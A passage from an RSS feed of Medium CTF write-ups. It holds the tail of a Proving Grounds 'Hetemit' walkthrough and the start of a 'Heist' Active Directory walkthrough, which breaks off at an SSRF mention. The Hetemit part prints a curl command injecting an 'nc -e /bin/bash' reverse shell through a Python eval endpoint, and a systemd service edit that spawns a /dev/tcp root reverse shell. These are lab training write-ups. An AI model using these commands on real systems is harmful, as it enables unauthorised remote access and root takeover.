{<br>|     border: 1px solid #EEE;<br>|     padding: 10px;<br>|     margin: 0px;<br>|     width: 958px;<br>|     header {<br>|     color: #F0F0F0;<br>|     background: #C52F24;<br>|     padding: 0.5em 1.5em;<br>|     margin: 0.2em 0;<br>|     line-height: 1.1em;<br>|     font-size: 2em;<br>|     color: #C52F24;<br>|     line-height: 25px;<br>|     .details {<br>|_    bord<br>50000/tcp open  http        syn-ack Werkzeug httpd 1.0.1 (Python 3.6.8)<br>| http-methods: <br>|_  Supported Methods: HEAD OPTIONS GET<br>|_http-server-header: Werkzeug/1.0.1 Python/3.6.8<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=utf-8).<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port18000-TCP:V=7.92%I=7%D=10/16%Time=634C52BA%P=aarch64-unknown-linux-<br>SF:gnu%r(GenericLines,1C,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n&quot;)%r(G<br>SF:etRequest,C76,&quot;HTTP/1\.0\x20403\x20Forbidden\r\nContent-Type:\x20text/h<br>SF:tml;\x20charset=UTF-8\r\nContent-Length:\x203102\r\n\r\n&lt;!DOCTYPE\x20ht<br>SF:ml&gt;\n&lt;html\x20lang=\&quot;en\&quot;&gt;\n&lt;head&gt;\n\x20\x20&lt;meta\x20charset=\&quot;utf-8\&quot;\<br>SF:x20/&gt;\n\x20\x20&lt;title&gt;Action\x20Controller:\x20Exception\x20caught&lt;/tit<br>SF:le&gt;\n\x20\x20&lt;style&gt;\n\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x<br>SF:20background-color:\x20#FAFAFA;\n\x20\x20\x20\x20\x20\x20color:\x20#333<br>SF:;\n\x20\x20\x20\x20\x20\x20margin:\x200px;\n\x20\x20\x20\x20}\n\n\x20\x<br>SF:20\x20\x20body,\x20p,\x20ol,\x20ul,\x20td\x20{\n\x20\x20\x20\x20\x20\x2<br>SF:0font-family:\x20helvetica,\x20verdana,\x20arial,\x20sans-serif;\n\x20\<br>SF:x20\x20\x20\x20\x20font-size:\x20\x20\x2013px;\n\x20\x20\x20\x20\x20\x2<br>SF:0line-height:\x2018px;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20pre\x20{\n<br>SF:\x20\x20\x20\x20\x20\x20font-size:\x2011px;\n\x20\x20\x20\x20\x20\x20wh<br>SF:ite-space:\x20pre-wrap;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20pre\.box\<br>SF:x20{\n\x20\x20\x20\x20\x20\x20border:\x201px\x20solid\x20#EEE;\n\x20\x2<br>SF:0\x20\x20\x20\x20padding:\x2010px;\n\x20\x20\x20\x20\x20\x20margin:\x20<br>SF:0px;\n\x20\x20\x20\x20\x20\x20width:\x20958px;\n\x20\x20\x20\x20}\n\n\x<br>SF:20\x20\x20\x20header\x20{\n\x20\x20\x20\x20\x20\x20color:\x20#F0F0F0;\n<br>SF:\x20\x20\x20\x20\x20\x20background:\x20#C52F24;\n\x20\x20\x20\x20\x20\x<br>SF:20padding:\x200\.5em\x201\.5em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h<br>SF:1\x20{\n\x20\x20\x20\x20\x20\x20margin:\x200\.2em\x200;\n\x20\x20\x20\x<br>SF:20\x20\x20line-height:\x201\.1em;\n\x20\x20\x20\x20\x20\x20font-size:\x<br>SF:202em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h2\x20{\n\x20\x20\x20\x20\<br>SF:x20\x20color:\x20#C52F24;\n\x20\x20\x20\x20\x20\x20line-height:\x2025px<br>SF:;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20\.details\x20{\n\x20\x20\x20\x2<br>SF:0\x20\x20bord&quot;)%r(HTTPOptions,C76,&quot;HTTP/1\.0\x20403\x20Forbidden\r\nCon<br>SF:tent-Type:\x20text/html;\x20charset=UTF-8\r\nContent-Length:\x203102\r\<br>SF:n\r\n&lt;!DOCTYPE\x20html&gt;\n&lt;html\x20lang=\&quot;en\&quot;&gt;\n&lt;head&gt;\n\x20\x20&lt;meta\x<br>SF:20charset=\&quot;utf-8\&quot;\x20/&gt;\n\x20\x20&lt;title&gt;Action\x20Controller:\x20Exce<br>SF:ption\x20caught&lt;/title&gt;\n\x20\x20&lt;style&gt;\n\x20\x20\x20\x20body\x20{\n\x<br>SF:20\x20\x20\x20\x20\x20background-color:\x20#FAFAFA;\n\x20\x20\x20\x20\x<br>SF:20\x20color:\x20#333;\n\x20\x20\x20\x20\x20\x20margin:\x200px;\n\x20\x2<br>SF:0\x20\x20}\n\n\x20\x20\x20\x20body,\x20p,\x20ol,\x20ul,\x20td\x20{\n\x2<br>SF:0\x20\x20\x20\x20\x20font-family:\x20helvetica,\x20verdana,\x20arial,\x<br>SF:20sans-serif;\n\x20\x20\x20\x20\x20\x20font-size:\x20\x20\x2013px;\n\x2<br>SF:0\x20\x20\x20\x20\x20line-height:\x2018px;\n\x20\x20\x20\x20}\n\n\x20\x<br>SF:20\x20\x20pre\x20{\n\x20\x20\x20\x20\x20\x20font-size:\x2011px;\n\x20\x<br>SF:20\x20\x20\x20\x20white-space:\x20pre-wrap;\n\x20\x20\x20\x20}\n\n\x20\<br>SF:x20\x20\x20pre\.box\x20{\n\x20\x20\x20\x20\x20\x20border:\x201px\x20sol<br>SF:id\x20#EEE;\n\x20\x20\x20\x20\x20\x20padding:\x2010px;\n\x20\x20\x20\x2<br>SF:0\x20\x20margin:\x200px;\n\x20\x20\x20\x20\x20\x20width:\x20958px;\n\x2<br>SF:0\x20\x20\x20}\n\n\x20\x20\x20\x20header\x20{\n\x20\x20\x20\x20\x20\x20<br>SF:color:\x20#F0F0F0;\n\x20\x20\x20\x20\x20\x20background:\x20#C52F24;\n\x<br>SF:20\x20\x20\x20\x20\x20padding:\x200\.5em\x201\.5em;\n\x20\x20\x20\x20}\<br>SF:n\n\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20margin:\x200\.2em\x<br>SF:200;\n\x20\x20\x20\x20\x20\x20line-height:\x201\.1em;\n\x20\x20\x20\x20<br>SF:\x20\x20font-size:\x202em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h2\x20<br>SF:{\n\x20\x20\x20\x20\x20\x20color:\x20#C52F24;\n\x20\x20\x20\x20\x20\x20<br>SF:line-height:\x2025px;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20\.details\x<br>SF:20{\n\x20\x20\x20\x20\x20\x20bord&quot;);<br>Service Info: OS: Unix<br><br>Host script results:<br>|_clock-skew: 0s<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled but not required<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 62974/tcp): CLEAN (Timeout)<br>|   Check 2 (port 56787/tcp): CLEAN (Timeout)<br>|   Check 3 (port 9774/udp): CLEAN (Timeout)<br>|   Check 4 (port 48068/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb2-time: <br>|   date: 2022-10-16T18:52:40<br>|_  start_date: N/A<br><br>NSE: Script Post-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 11:53<br>Completed NSE at 11:53, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 11:53<br>Completed NSE at 11:53, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 11:53<br>Completed NSE at 11:53, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 227.76 seconds</pre><h3>Port 50000 Werkzeug httpd 1.0.1</h3><ul><li><strong><em>We access </em></strong><a href="http://192.168.56.117:50000/"><strong><em>http://192.168.56.117:50000</em></strong></a><strong><em> based on the results of the Nmap scan, and the following webpage appears:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/0*ouwlsjwGyNEbQpg6.png" /><figcaption><a href="http://192.168.56.117:50000/">http://192.168.56.117:50000</a></figcaption></figure><ul><li><strong><em>As the webpage includes a “/verify” directory, we visit </em></strong><a href="http://192.168.56.117:50000/verify"><strong><em>http://192.168.56.117:50000/verify</em></strong></a><strong><em>.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/0*Lmfl57M8mEsPv9qo.png" /><figcaption><a href="http://192.168.56.117:50000/verify">http://192.168.56.117:50000/verify</a></figcaption></figure><ul><li><strong><em>We type the following command and the output indicates the application performs evaluation.</em></strong></li></ul><p>curl –X post –-data “code=2*2” <a href="http://192.168.56.117:50000/verify">http://192.168.56.117:50000/verify</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/0*2cKFLbVzimEtI0ZR.png" /><figcaption>Application performing evaluation</figcaption></figure><h3>Exploitation</h3><h4>os.system Command Injection</h4><p>To exploit the application, the os.system command execution method was used. Since port 50000 was found to be running Python 3.6 from the NMAP output, the command os.system was tested to confirm Python 3.6 presence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/0*jO3v4pUT1-tTVmlb.png" /><figcaption>Python3.6 module</figcaption></figure><ul><li><strong><em>We start a penelope listener on port 18000</em></strong></li><li><strong><em>A reverse shell was returned from the penelope listener that was running on port 18000 when we typed the following command.</em></strong></li></ul><p>curl -X POST — data “code=os.system(‘nc -e /bin/bash 192.168.45.161 18000’)” <a href="http://192.168.229.117:50000/verify">http://192.168.229.117:50000/verify</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CzTdSJOzJizlWBWo.png" /><figcaption>os.system reverse shell command</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/0*GwELHK6EPK5UTh-6.png" /><figcaption>reverse shell running as user cmeeks</figcaption></figure><h3>Privilege Escalation</h3><h4>Local Enumeration</h4><ul><li><strong><em>Entering “sudo –l” shows our user can run /sbin/halt, /sbin/reboot and /sbin/poweroff as root:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*hR3eLhRZkEuJ9EA-7sfPbw.png" /><figcaption>/sbin/halt | /sbin/reboot | /sbin/poweroff</figcaption></figure><ul><li><strong><em>We discover that we can write to “/etc/systemd/system/pythonapp.service” according to the linpeas.sh script output.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*NONIUHRCs2dSEN7x.png" /><figcaption>Writeable pythonapp.service</figcaption></figure><h3>Privilege Escalation vector</h3><h4>Modifiable pythonapp.service</h4><ul><li><strong><em>We type “cat /etc/systemd/system/pythonapp.service” which shows the following.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*GmArrvHVSIvRuXDnvkFweg.png" /><figcaption>Reading /etc/systemd/system/pythonapp.service</figcaption></figure><ul><li><strong><em>We type “vi /etc/systemd/system/pythonapp.service”</em></strong></li><li><strong><em>We make the following modifications.</em></strong></li></ul><p>ExecStart=/bin/bash -c ‘bash -i &gt;&amp; /dev/tcp/192.168.45.161/50000 0&gt;&amp;1’<br>User=root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*rzAmFZwsUEeGS7ux7EU3XQ.png" /><figcaption>pythonapp.service modification</figcaption></figure><ul><li><strong><em>We type “sudo /sbin/reboot” to reboot the system since “services” need to be restarted in order for any modifications we made to the service app to take effect.</em></strong></li><li><strong><em>Next, we obtain a root shell after setting up a listener on port 50000.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*IqEF_arZ44t7dSqpf8IetA.png" /><figcaption>root shell</figcaption></figure><h3>Improved Skills</h3><ul><li>Understanding of the curl -X POST — data option</li><li>Executing commands using os.system in Python</li></ul><h3>Conclusion</h3><p>This walkthrough demonstrated the exploitation and privilege escalation steps required to root the Hetemit machine. By leveraging an application running on port 50000, executing commands using os.system, and modifying a service file, a reverse shell was obtained as the root user. This challenge provided an opportunity to enhance skills in command execution and privilege escalation on a Linux machine.</p><p>Please feel free to reach out to me!</p><h3><a href="https://twitter.com/SL0cLpS_1">https://twitter.com/SL0cLpS_1</a></h3><p><a href="https://discord.com/users/679920497299161119">Discord - A New Way to Chat with Friends &amp; Communities</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ca236db1288" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds -Heist (Hard) Windows (Active Directory)  Box -Walkthrough — A Journey to…]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-heist-hard-windows-active-directory-box-walkthrough-a-journey-to-9469ae735a34?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/9469ae735a34</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[penetration-test]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Tue, 23 May 2023 09:13:48 GMT</pubDate>
            <atom:updated>2024-04-18T00:08:46.492Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds -Heist (Hard) Windows (Active Directory) Box -Walkthrough — A Journey to Offensive Security</h3><h3>Introduction:</h3><p>Heist is a challenging Proving Grounds machine that involves active directory enumeration, vulnerability exploitation, privilege escalation, and lateral movement. In this blog post, we will walk through the steps to own this machine.</p><h3>Information Gathering:</h3><p>First, we need to identify the target IP and available ports. We ran a rustscan and found that TCP ports 8080 and 5985 were open. We will focus on port 8080, which hosts a webpage. Upon navigating to the website at “http://&lt;target_IP&gt;:8080/”, we found a webpage with no useful information.</p><pre>rustscan --addresses 192.168.231.165 --ulimit 5000 -- -A -sC -Pn -sV -T 1500<br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: https://discord.gg/GFrQsGy           :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>Real hackers hack time ⌛<br><br>[~] The config file is expected to be at &quot;/home/brian/.rustscan.toml&quot;<br>[~] Automatically increasing ulimit value to 5000.<br>Open 192.168.231.165:53<br>Open 192.168.231.165:88<br>Open 192.168.231.165:135<br>Open 192.168.231.165:139<br>Open 192.168.231.165:389<br>Open 192.168.231.165:445<br>Open 192.168.231.165:464<br>Open 192.168.231.165:593<br>Open 192.168.231.165:636<br>Open 192.168.231.165:3268<br>Open 192.168.231.165:3269<br>Open 192.168.231.165:3389<br>Open 192.168.231.165:5985<br>Open 192.168.231.165:8080<br>Open 192.168.231.165:9389<br>Open 192.168.231.165:49666<br>Open 192.168.231.165:49669<br>Open 192.168.231.165:49668<br>Open 192.168.231.165:49670<br>Open 192.168.231.165:49672<br>Open 192.168.231.165:49689<br>Open 192.168.231.165:49716<br>[~] Starting Script(s)<br>[&gt;] Running script &quot;nmap -vvv -p {{port}} {{ip}} -A -sC -Pn -sV -T 1500&quot; on ip 192.168.231.165<br>Depending on the complexity of the script, results may take some time to appear.<br>Host discovery disabled (-Pn). All addresses will be marked &#39;up&#39; and scan times may be slower.<br>[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-01 20:18 PDT<br>Happy 25th Birthday to Nmap, may it live to be 125!<br>NSE: Loaded 155 scripts for scanning.<br>NSE: Script Pre-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 20:18<br>Completed NSE at 20:18, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 20:18<br>Completed NSE at 20:18, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 20:18<br>Completed NSE at 20:18, 0.00s elapsed<br>Initiating Parallel DNS resolution of 1 host. at 20:18<br>Completed Parallel DNS resolution of 1 host. at 20:18, 0.01s elapsed<br>DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]<br>Initiating Connect Scan at 20:18<br>Scanning 192.168.231.165 [22 ports]<br>Discovered open port 135/tcp on 192.168.231.165<br>Discovered open port 139/tcp on 192.168.231.165<br>Connect Scan Timing: About 11.36% done; ETC: 20:25 (0:05:51 remaining)<br>Discovered open port 8080/tcp on 192.168.231.165<br>Discovered open port 53/tcp on 192.168.231.165<br>Connect Scan Timing: About 20.45% done; ETC: 20:24 (0:04:52 remaining)<br>Discovered open port 3389/tcp on 192.168.231.165<br>Discovered open port 445/tcp on 192.168.231.165<br>Connect Scan Timing: About 29.55% done; ETC: 20:24 (0:04:10 remaining)<br>Discovered open port 49669/tcp on 192.168.231.165<br>Discovered open port 49716/tcp on 192.168.231.165<br>Connect Scan Timing: About 38.64% done; ETC: 20:24 (0:03:34 remaining)<br>Discovered open port 593/tcp on 192.168.231.165<br>Discovered open port 88/tcp on 192.168.231.165<br>Discovered open port 49672/tcp on 192.168.231.165<br>Connect Scan Timing: About 52.27% done; ETC: 20:24 (0:02:58 remaining)<br>Discovered open port 3268/tcp on 192.168.231.165<br>Discovered open port 5985/tcp on 192.168.231.165<br>Connect Scan Timing: About 61.36% done; ETC: 20:24 (0:02:22 remaining)<br>Discovered open port 49670/tcp on 192.168.231.165<br>Discovered open port 49689/tcp on 192.168.231.165<br>Connect Scan Timing: About 70.45% done; ETC: 20:24 (0:01:47 remaining)<br>Discovered open port 9389/tcp on 192.168.231.165<br>Discovered open port 636/tcp on 192.168.231.165<br>Connect Scan Timing: About 79.55% done; ETC: 20:24 (0:01:13 remaining)<br>Discovered open port 49668/tcp on 192.168.231.165<br>Discovered open port 389/tcp on 192.168.231.165<br>Connect Scan Timing: About 88.64% done; ETC: 20:24 (0:00:40 remaining)<br>Discovered open port 464/tcp on 192.168.231.165<br>Discovered open port 3269/tcp on 192.168.231.165<br>Discovered open port 49666/tcp on 192.168.231.165<br>Completed Connect Scan at 20:24, 360.18s elapsed (22 total ports)<br>Initiating Service scan at 20:24<br>Scanning 22 services on 192.168.231.165<br>Service scan Timing: About 22.73% done; ETC: 20:26 (0:01:49 remaining)<br>Service scan Timing: About 31.82% done; ETC: 20:27 (0:02:13 remaining)<br>Service scan Timing: About 68.18% done; ETC: 20:26 (0:00:45 remaining)<br>Service scan Timing: About 72.73% done; ETC: 20:27 (0:00:57 remaining)<br>Service scan Timing: About 81.82% done; ETC: 20:29 (0:00:59 remaining)<br>Service scan Timing: About 90.91% done; ETC: 20:30 (0:00:32 remaining)<br>Completed Service scan at 20:31, 433.82s elapsed (22 services on 1 host)<br>NSE: Script scanning 192.168.231.165.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 20:31<br>NSE Timing: About 98.13% done; ETC: 20:32 (0:00:01 remaining)<br>NSE Timing: About 99.23% done; ETC: 20:32 (0:00:00 remaining)<br>Completed NSE at 20:32, 76.54s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 20:32<br>Completed NSE at 20:33, 5.90s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 20:33<br>Completed NSE at 20:33, 0.00s elapsed<br>Nmap scan report for 192.168.231.165<br>Host is up, received user-set (0.16s latency).<br>Scanned at 2022-09-01 20:18:42 PDT for 861s<br><br>PORT      STATE SERVICE       REASON  VERSION<br>53/tcp    open  domain        syn-ack Simple DNS Plus<br>88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2022-09-02 03:24:40Z)<br>135/tcp   open  msrpc         syn-ack Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds? syn-ack<br>464/tcp   open  kpasswd5?     syn-ack<br>593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack<br>3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack<br>3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: HEIST<br>|   NetBIOS_Domain_Name: HEIST<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: heist.offsec<br>|   DNS_Computer_Name: DC01.heist.offsec<br>|   DNS_Tree_Name: heist.offsec<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2022-09-02T03:32:54+00:00<br>| ssl-cert: Subject: commonName=DC01.heist.offsec<br>| Issuer: commonName=DC01.heist.offsec<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2022-07-17T22:04:25<br>| Not valid after:  2023-01-16T22:04:25<br>| MD5:   73c5 30c0 df09 668f d701 ff17 6129 0493<br>| SHA-1: 74b0 f22f 5449 5d47 b100 4ffe 266d c51c 8d9b 2d5d<br>| -----BEGIN CERTIFICATE-----<br>| MIIC5jCCAc6gAwIBAgIQbNn2IUrUjY9PdO2Odd610zANBgkqhkiG9w0BAQsFADAc<br>| MRowGAYDVQQDExFEQzAxLmhlaXN0Lm9mZnNlYzAeFw0yMjA3MTcyMjA0MjVaFw0y<br>| MzAxMTYyMjA0MjVaMBwxGjAYBgNVBAMTEURDMDEuaGVpc3Qub2Zmc2VjMIIBIjAN<br>| BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvFxcdBIGl7TjIoHZGdLV9Kzu+4o4<br>| e/p2hQj8A8ES3sVFiWDjJRQtGueQIYjIe6iUjAvwURU/okUe1DGUTKpelabApuVi<br>| kbQnnlGxOXdisdfqt+p5spSeq4/qB5B/OCC+/5ZgtARhtUTKoDP8WECwMrORQr8x<br>| nqQlpDdus7SXsJrDhv2f29YCDsN0oyd0f6x1LUuJE1glGb/nBJcYtU+npaYJbe7W<br>| 1FD/i5LUR3tS1D89Fa9jjjoCdo5Zknb+vdXiMGPlsIgBVoNqVdd6gqmO6bIX0J/I<br>| PL2txQKwcuK7p+9jFc+G6sbHQHyGUyx4T0GP2lCRvosXVNA/v/1Miuu59QIDAQAB<br>| oyQwIjATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcN<br>| AQELBQADggEBAF+bP5Z/SwmiKeDOmwTXIBHPY5cvhDQCSsLXkSYSlrPB4X2KggaK<br>| IA473Gnx8X0mm3OR/GN6u4a8OrgEKOhA4IFkv2GWE03zX5OIFy5o/mEtFeOMvfOc<br>| 0XgLjzBFp15r54UqrT+ZlDTx4ktcdy6Or7pqStwp/OZkVz8JSRXXMDG9t6bRWcA/<br>| 0pGkPcxYoMr35RSjsh/TkQaySnORugXbggeyWm+yv3EGQEyXQpB/84jl64+WnQCW<br>| ZG44P4PfAWOxeDlaoY46thr/9OZuPU9FBERGzyrK1zlz8yTUEVvRzHqtkVuJ//IE<br>| ulwyR0DC8nLrOAqTOXttifFW8fsf6qFRnjQ=<br>|_-----END CERTIFICATE-----<br>|_ssl-date: 2022-09-02T03:33:01+00:00; -1s from scanner time.<br>5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>8080/tcp  open  http          syn-ack Werkzeug httpd 2.0.1 (Python 3.9.0)<br>| http-methods: <br>|_  Supported Methods: HEAD GET OPTIONS<br>|_http-server-header: Werkzeug/2.0.1 Python/3.9.0<br>|_http-title: Super Secure Web Browser<br>9389/tcp  open  mc-nmf        syn-ack .NET Message Framing<br>49666/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49668/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49669/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49670/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>49672/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49689/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49716/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2022-09-02T03:32:40<br>|_  start_date: N/A<br>|_clock-skew: mean: 0s, deviation: 0s, median: 0s<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 56666/tcp): CLEAN (Timeout)<br>|   Check 2 (port 39499/tcp): CLEAN (Timeout)<br>|   Check 3 (port 11903/udp): CLEAN (Timeout)<br>|   Check 4 (port 7767/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br><br>NSE: Script Post-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 20:33<br>Completed NSE at 20:33, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 20:33<br>Completed NSE at 20:33, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 20:33<br>Completed NSE at 20:33, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 876.72 seconds<br><br><br><br><br><br><br><br>nmap -sC -sV -p 53,88,135,139,445,464,593,636,3268,3269,3389,5985,8080,9389,49666,49669,49668,49670,49672,49689,49716 192.168.231.165 -Pn<br>Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-01 20:26 PDT<br>Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 61.90% done; ETC: 20:27 (0:00:08 remaining)<br>Stats: 0:00:17 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 71.43% done; ETC: 20:27 (0:00:06 remaining)<br>Stats: 0:00:22 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 71.43% done; ETC: 20:27 (0:00:08 remaining)<br>Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 71.43% done; ETC: 20:27 (0:00:11 remaining)<br>Stats: 0:00:46 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 71.43% done; ETC: 20:27 (0:00:18 remaining)<br>Nmap scan report for 192.168.231.165<br>Host is up (0.15s latency).<br><br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-09-02 03:26:48Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>|_ssl-date: 2022-09-02T03:28:18+00:00; -1s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: HEIST<br>|   NetBIOS_Domain_Name: HEIST<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: heist.offsec<br>|   DNS_Computer_Name: DC01.heist.offsec<br>|   DNS_Tree_Name: heist.offsec<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2022-09-02T03:27:40+00:00<br>| ssl-cert: Subject: commonName=DC01.heist.offsec<br>| Not valid before: 2022-07-17T22:04:25<br>|_Not valid after:  2023-01-16T22:04:25<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>8080/tcp  open  http          Werkzeug httpd 2.0.1 (Python 3.9.0)<br>|_http-server-header: Werkzeug/2.0.1 Python/3.9.0<br>|_http-title: Super Secure Web Browser<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>49669/tcp open  msrpc         Microsoft Windows RPC<br>49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49672/tcp open  msrpc         Microsoft Windows RPC<br>49689/tcp open  msrpc         Microsoft Windows RPC<br>49716/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2022-09-02T03:27:41<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 101.06 seconds</pre><h3>Port 8080</h3><p>We discover that the website was vulnerable to SSRF 